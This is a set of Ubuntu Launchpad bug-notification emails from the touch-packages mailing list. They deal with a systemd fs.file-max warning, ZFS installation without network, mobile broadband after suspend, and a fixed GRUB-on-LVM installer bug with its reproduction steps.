https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bug/1847431/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1837245] Re: Failed to bump fs.file-max, ignoring: Invalid argument

[Launchpad Bug Tracker]

Status changed to 'Confirmed' because the bug affects multiple users.

** Changed in: systemd (Ubuntu)
   Status: New => Confirmed

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1837245

Title:
  Failed to bump fs.file-max, ignoring: Invalid argument

Status in systemd package in Ubuntu:
  Confirmed

Bug description:
  $ journalctl -b

  [...]

  [3.786804] systemd[1]: Failed to bump fs.file-max, ignoring:
  Invalid argument

  ProblemType: Bug
  DistroRelease: Ubuntu 19.10
  Package: systemd 240-6ubuntu9
  ProcVersionSignature: Ubuntu 5.2.0-8.9-generic 5.2.0
  Uname: Linux 5.2.0-8-generic x86_64
  ApportVersion: 2.20.11-0ubuntu5
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  Date: Fri Jul 19 13:44:43 2019
  InstallationDate: Installed on 2018-12-02 (228 days ago)
  InstallationMedia: Ubuntu 18.04.1 LTS "Bionic Beaver" - Release amd64 
(20180725)
  MachineType: HP HP Pavilion x360 Convertible 14-cd0xxx
  ProcKernelCmdLine: BOOT_IMAGE=/@/boot/vmlinuz-5.2.0-8-generic 
root=UUID=28bdadba-133c-4f5b-a5c9-b06993ea7ce2 ro rootflags=subvol=@ quiet 
splash vt.handoff=7
  SourcePackage: systemd
  SystemdDelta:
   [EXTENDED]   /lib/systemd/system/rc-local.service → 
/lib/systemd/system/rc-local.service.d/debian.conf
   [EXTENDED]   /lib/systemd/system/user@.service → 
/lib/systemd/system/user@.service.d/timeout.conf

   2 overridden configuration files found.
  UpgradeStatus: Upgraded to eoan on 2018-12-02 (228 days ago)
  dmi.bios.date: 04/29/2019
  dmi.bios.vendor: Insyde
  dmi.bios.version: F.34
  dmi.board.asset.tag: Type2 - Board Asset Tag
  dmi.board.name: 8486
  dmi.board.vendor: HP
  dmi.board.version: 72.23
  dmi.chassis.asset.tag: Chassis Asset Tag
  dmi.chassis.type: 31
  dmi.chassis.vendor: HP
  dmi.chassis.version: Chassis Version
  dmi.modalias: 
dmi:bvnInsyde:bvrF.34:bd04/29/2019:svnHP:pnHPPavilionx360Convertible14-cd0xxx:pvrType1ProductConfigId:rvnHP:rn8486:rvr72.23:cvnHP:ct31:cvrChassisVersion:
  dmi.product.family: 103C_5335KV HP Pavilion
  dmi.product.name: HP Pavilion x360 Convertible 14-cd0xxx
  dmi.product.sku: 3PX63LA#ABM
  dmi.product.version: Type1ProductConfigId
  dmi.sys.vendor: HP

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1837245/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1847431] Re: Installing ZFS without network is failing

[Didier Roche]

** Also affects: ubuntu-mate-meta (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1847431

Title:
  Installing ZFS without network is failing

Status in ubiquity package in Ubuntu:
  New
Status in ubuntu-budgie-meta package in Ubuntu:
  New
Status in ubuntu-mate-meta package in Ubuntu:
  New
Status in ubuntu-meta package in Ubuntu:
  New
Status in ubuntustudio-meta package in Ubuntu:
  New

Bug description:
  We need to:
  * seed zfs-initramfs
  * remove apt install from ubiquity zfs script.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bug/1847431/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1711079] Re: Mobile bradband doesnt work after suspend/logout

[Graham Inggs]

This is unlikely to be a bug in mobile-broadband-provider-info.
Similar to LP: #1826461 , it is probably a bug in the kernel.

Does the problem still occur?


** Changed in: mobile-broadband-provider-info (Ubuntu)
   Status: New => Incomplete

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to mobile-broadband-provider-
info in Ubuntu.
https://bugs.launchpad.net/bugs/1711079

Title:
  Mobile bradband doesnt work after suspend/logout

Status in mobile-broadband-provider-info package in Ubuntu:
  Incomplete

Bug description:
  When I turn on my laptop (HP EliteBook Folio 9470m), I can use my sim card 
internet, but when I log in after my laptop was suspended, I can not connect to 
network again. I need to restart it to connect again.
  Ubuntu version 16.04 LTS

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/mobile-broadband-provider-info/+bug/1711079/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1838525] Re: LVM setup fails to install grub on virtio storage

[Launchpad Bug Tracker]

This bug was fixed in the package grub2 - 2.04-1ubuntu10

---
grub2 (2.04-1ubuntu10) eoan; urgency=medium

  * debian/patches/ubuntu-skip-disk-by-id-lvm-pvm-uuid-entries.patch:
skip /dev/disk/by-id/lvm-pvm-uuid entries from device iteration.
(LP: #1838525)

 -- Rafael David Tinoco   Mon, 07 Oct 2019
23:23:54 -0300

** Changed in: grub2 (Ubuntu)
   Status: Fix Committed => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to lvm2 in Ubuntu.
https://bugs.launchpad.net/bugs/1838525

Title:
  LVM setup fails to install grub on virtio storage

Status in debian-installer package in Ubuntu:
  Invalid
Status in grub2 package in Ubuntu:
  Fix Released
Status in lvm2 package in Ubuntu:
  Invalid
Status in debian-installer package in Debian:
  New

Bug description:
  [Impact]

   * Any Eoan installation that depends on latest installer will face
  this issue when final user chooses LVM full disk partitioning type.

   * Grub won't be able to install due to bad bootdevice variable in the
  installer. It will try to install grub to "/dev/mapper" and will fail.
  The default boot option will also be "/dev/mapper".

  [Test Case]

   * Download netboot files from current installer (vmlinuz and initrd
  files).

   * Create a KVM guest running from these files, with a NIC connected
  to the internet.

   * Initiate a network installation inside the KVM guest, choosing the
  Entire Disk - LVM partitioning option.

   * Wait installation to finish and to start the grub-install phase. It
  will ask where to install grub, having, as default, "/dev/mapper". By
  default, it might simply try to grub-install /dev/mapper, which will
  also fail.

   * That happens because /dev/disk/by-id/ has an unexpected (by the
  installer) symlink added by lvm2 package that grub-installer (used by
  debian-installer) does not expect (when using grub-mkdevice command).

  [Simplified Test Case]

   * To add a PV + VG + LVM in a KVM guest to an empty virtio disk, for
  example, and to check if the command:

  grub-mkdevicemap --no-floppy -m -

  lists /dev/vdX1 in front of /dev/vdX. This will be a sign that:

  /dev/disk/by-id/*lvm* file exists and will be enough to confuse
  installer.

  [Regression Potential]

  There are 3 alternatives to fix this and I have chosen the one I
  believe has the smaller potential for any type of regression. Comment
  #30 describes what caused the regression and these 3 alternatives:

  (1) To revert this change for current release, since this rule was
  added to "make navigation a bit easier using PV UUIDs", as the commit
  says. We would worry about installer changes in the next release.

  (2) Another possibility would be to change the logic inside "grub-
  mkdevicemap.c: make_device_map()->grub_util_iterate_devices()" to
  ignore all symlinks from /dev/disk/by-id/ containing lvm-pv-uuid-*. We
  would not have to worry about this in the next release if using
  debian-installer.

  (3) Another option would be to change grub-installer package/logic.
  Unfortunately, a few days before the full freeze, I don't think
  messing with the installer would be a good option to avoid regressions
  (potential regression item would grow in significance).

  => I'm choosing (2) because ubuntu foundations already faced a similar
  situation, when grub-mkdevicemap.c file was removed from grub2 code
  and they re-added it by using a quilt patch, assuming it was the
  easiest and better to maintain. I'm doing something similar, patching
  the patch that creates grub-mkdevicemap.c file again to ignore
  /dev/disk/by-id/lvm-pv-uuid-* files (like it already does for other
  symlinks, actually).

  [Other Info]

  Comment #26 has the TL;DR version of the problem.
  
https://bugs.launchpad.net/ubuntu/+source/debian-installer/+bug/1838525/comments/26

  [Original Description]

  The Eoan debian-installer ISO fails to install GRUB on LVM installs
  with virtio storage, as it runs grub-install with /dev/mapper as a
  target (a directory), even if instructed to target a device.

  The following steps to reproduce have been prepared running the
  20190730 build, but this has been broken since about June 18, 2019.
  Steps to reproduce:

  $ md5sum eoan-server-amd64.iso
  f591e30485e5f0b5117f6c116e538c42  eoan-server-amd64.iso
  $ qemu-img create -f raw disk1.img 8G
  Formatting 'disk1.img', fmt=raw size=8589934592
  $ kvm -m 1024 -boot d -cdrom eoan-server-amd64.iso -drive 
file=disk1.img,if=virtio

  Proceed with all the defaults. In the "Partition disk" step select
  "Guided - use entire disk and set up LVM". Go ahead accepting the
  defaults. At the "Install the GRUB boot loader" step select "/dev/vda"
  as the target device. The installer will actually run `grub-install
  --force /dev/mapper` and fail after a while. The wrong command is
  visible both in the d-i screen and by running `ps` on a different
  console.

  Full installe

[Touch-packages] [Bug 1847431] [NEW] Installing ZFS without network is failing

[Didier Roche]

Public bug reported:

We need to:
* seed zfs-initramfs
* remove apt install from ubiquity zfs script.

** Affects: ubiquity (Ubuntu)
 Importance: Undecided
 Status: New

** Affects: ubuntu-meta (Ubuntu)
 Importance: Undecided
 Status: New

** Also affects: ubuntu-meta (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to ubuntu-meta in Ubuntu.
https://bugs.launchpad.net/bugs/1847431

Title:
  Installing ZFS without network is failing

Status in ubiquity package in Ubuntu:
  New
Status in ubuntu-meta package in Ubuntu:
  New

Bug description:
  We need to:
  * seed zfs-initramfs
  * remove apt install from ubiquity zfs script.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/ubiquity/+bug/1847431/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp